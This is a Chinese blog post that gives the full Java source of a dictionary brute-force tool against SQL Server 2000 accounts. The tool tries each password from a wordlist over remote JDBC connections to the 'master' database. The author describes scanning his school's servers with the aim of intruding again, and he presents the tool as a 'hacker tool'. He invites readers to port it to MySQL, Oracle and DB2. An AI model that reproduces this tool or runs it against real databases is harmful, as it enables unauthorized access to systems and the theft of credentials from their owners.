| |
|
|
无标题文档 | [原创]SQL2000密码暴力破解器(JAVA版) | 作者:Keona QQ:15102649 Email:j2ee.keona@yahoo.com.cn (备注:转载请注意出处) 前言: 哎,今天下午真的没事干,除了陪一个女孩聊天就是对我们学校(牛X软件学院)进行全面系统扫面.想再次入侵学校的服务器.(同学们不要鄙视我,呵呵.更不要扔鸡蛋!)但是扫描了很久发现主机上除了挂了几个WEB服务和开放了3389,1433,80,8080端口等端口,虽然开放了3389远程桌面,可是没有NT若口令,难道还用过时的输入法非法登陆系统(嘿嘿,应该不太可能,90年代的手法了!)其他的都是没什么利用价值的信息.在打算放弃之余突然脑中灵光一现.?咦不是有1433端口吗?SQL-Server2000数据库..嘿嘿(坏笑两声,原则上可以利用这个了成功入侵学校的网站了,<-切记这是原则上的,但是很多外在因素:时间,意外,IP过滤等等...这里不去探讨了,今天主要是主要讲讲我写的SQL-Server2000密码暴力破解器原理)
嘿嘿,上面废话一堆了,希望大家没有被我的自言自语给弄郁闷了,好了.废话不多说了...进入正题....! 原理: 1.使用连接类:在Java中可以使用java.sql.Connection对象,去连接SQL2000数据库,因为在学习过程中,我们都是习惯了连本机,却忽略了其实Connection类还可以连接远程数据库嘛,有了这个特性,我们不就可以做做坏事了.开发一个关于个人的"黑客小工具"暴力去破解密码了吗.? 2.使用密码文件:这里说到的密码文件可以是用一些工具(密码字典等工具)生成的出来的密码,我们把它保存在电脑特定的位置.在运行程序时我们只需把这些密码读入到内存中,然后写个循环利用: Connection conn = java.sql.DriverManager.getConnection(DBURL,DBUSER,DBPASS);一个一个去匹配密码.这样不就做到了暴力破解的功效了吗?如果返回Connection对象不是为null值,表示破解密码成功.!这里有点是必须提出来的,在getConnection方法种DBURL是必须的,但是有的人可能会问,这个URL地址应该怎么写.?我不知道我对方的数据库中会存在那些库啊.?总不能乱写一个吧.? 确实,这也是个比较重要的问题...但是我个人觉得,一般做为WEB的数据一般有一个表应该会存在的--Master表,那些什么pubs表等其他的表,管理员可能会删除,但是master表,管理员应该是不会删除的,因为master表毕竟是SQL2000的系统表,里面有很多系统存储过程等重要的东西,所以这里大可以放心的连接master数据.(备注:如果你不是破解DBA权限的帐号时,就可能会出现意外,可能是在对master数据库访问时会存在权限问题.) 3.有了上面2点以后,基本上程序已经没有很大的问题了,但是.为了人性化点,我们还需要注意2个细节.才能把这个小工具完善好...首先必须注意,这里破解的帐号,我们不能写死,还是有给用户预留点空间,让用户指定破解那个帐号.其次.其次就是密码文件的路径,我们这里也不能写死.同理也是让用户来输入.所以这里我们还需要用到输入流来获取用户的输入.既然索性要接受用户输入的参数.这里,我直接把这些参数直接规划成命令去让用户输入,让用户有种与DOS系统互交的感觉,接受起来也比较亲切o(∩_∩)o.... 最后在我贴代码之前,请再允许我废话几句:小这个小程序并不是真的要把它做为一个黑软来编写,因为这也是我在很短时间里弄出来的东西,没有考虑到那么多的外界因素,代码写的也比较匆忙,如果有什么问题可以和我交流..我嘛就主要是个起头的角色而已,希望由我这个"砖头"文章引出一大批的"玉"出来...哈哈...提供的也就是个思路.如果有兴趣的朋友还可以把这个程序该成MYSQL或者Oracle版的或者DB2版的,主要方法都差不多..
程序源代码:
package cn.keona.check; import java.io.File; import java.io.FileReader; import java.io.BufferedReader; import java.io.IOException; import java.io.FileNotFoundException; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.util.List; import java.util.ArrayList; import java.text.MessageFormat;
/** * 破解工具类 */ public class CheckSQLPasswordUtil {
//SQL-Server2000驱动. private static final String DBDRIVER = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; //数据库连接URL. private static final String DBURL = "jdbc:microsoft:sqlserver://{0}:1433;databasename=master";
//远程数据库路径. private String databaseUrl; //需要破解的数据用户. private String dbUser; //密码文件路径. private String passwordPath; //密码集合. private List<String> passwords = new ArrayList<String>(); //是否破解密码. private boolean isCheck; //正确密码. private String truePassword;
//带参数构造方法. public CheckSQLPasswordUtil(String databaseUrl,String dbUser,String passwordPath) { this.databaseUrl = databaseUrl; this.dbUser = dbUser; this.passwordPath = passwordPath; this.isCheck = false; this.truePassword = ""; }
//初始化程序. private boolean init() { //参数检查. if(databaseUrl == null || databaseUrl.equals("")) { System.out.println("[系统提示]:请输入远程数据地址!"); return false; } if(dbUser == null || dbUser.equals("")) { System.out.println("[系统提示]:请输入你要破解的数据库帐号!"); } if(passwordPath == null || passwordPath.equals("")) { System.out.println("[系统提示]:请输入字典文件路径!"); return false; } //数据库连接URL. MessageFormat format = new MessageFormat(DBURL); databaseUrl = format.format(DBURL,databaseUrl); System.out.println(databaseUrl); return true; }
//破解密码. private boolean checkPass() { String pass = ""; try { if(passwords.size()<1) { return false; } pass = passwords.get(0); passwords.remove(0); Class.forName(DBDRIVER); Connection conn = DriverManager.getConnection(databaseUrl,dbUser,pass); //执行到这里,表示测试成功. conn.close(); truePassword = pass; isCheck = true; } catch(ClassNotFoundException classEx) { System.out.println("[系统提示]:没有找到合适的驱动包文件...!"); return false; } catch(SQLException sqlEx) { System.out.println("[进度提示]:" + dbUser + "用户尝试" + pass + "....>>>失败!"); //递归调用程序. checkPass(); } return isCheck; }
//获取装载好的密码字典. private void getPasswords() { BufferedReader reader = null; try { //装载文件. File file = new File(passwordPath); reader = new BufferedReader(new FileReader(file)); //读取文件. String pass = ""; while((pass = reader.readLine()) != null) { passwords.add(pass); } passwords.add(""); System.out.println("[系统提示]:系统装载密码文件完毕,读取密码个数:" + passwords.size()); } catch(FileNotFoundException fileEx) { System.out.println("[系统提示]:没有找到指定密码文件.!"); } catch(IOException ioEx) { System.out.println("[系统提示]:读取密码文件出错.!"); } //关闭流操作. try { if(reader != null) { reader.close(); } } catch(IOException e) { } }
//对外公开的破解方法. public void doCheck(){ //开始时间. Long sTime = System.currentTimeMillis(); //初始化参数. init(); //装载密码. getPasswords(); if(checkPass()) { System.out.println("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); System.out.println("[系统提示]:破解密码成功! >>> :" + truePassword); } else { System.out.println("[系统提示]:破解密码失败,密码文件中不包含正确的密码!"); } System.out.println("本次破解耗时:" + (System.currentTimeMillis() - sTime) + "ms."); } }
package cn.keona.check;
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.StringTokenizer;
/** * 程序入口. */ public class CheckSQLPassword {
public static void main(String[] args) { new CheckSQLPassword().doCheck(); }
public void doCheck() { System.out.println("Keona CheckSQLPassword V1.0"); System.out.println("命令格式: check: -dbUrl -dbUser -passPath"); System.out.println("dbUrl:远程数据库地址!\ndbUser:你需要破解的数据库帐号!\npassPath字典文件路径\n直 接输入exit退出程序\n"); try { BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); String cmd = reader.readLine().trim(); if(!cmd.equalsIgnoreCase("exit")) { String[] params = parserCmd(cmd); CheckSQLPasswordUtil check = new CheckSQLPasswordUtil(params[0],params[1],params [2]); check.doCheck(); } else { return; } } catch(IOException ioEx) { System.out.println("[系统提示]:读取命令错误..!"); } }
public String[] parserCmd(String cmd) { String[] params = new String[3]; StringTokenizer token = new StringTokenizer(cmd.substring(cmd.indexOf(":")+1)," -"); for(int i=0; i<params.length; i++) { params[i] = token.nextToken(); } return params; } }
运行程序输入: check: -数据库URL地址 -需要破解的用户 -密码文件存放的位置.回车搞定.效果如下. 以下是程序运行的结果截图:
 | 标签:密码 SQL2000 破解 本日志同步发往的圈子及评论情况: 发表评论:
|
|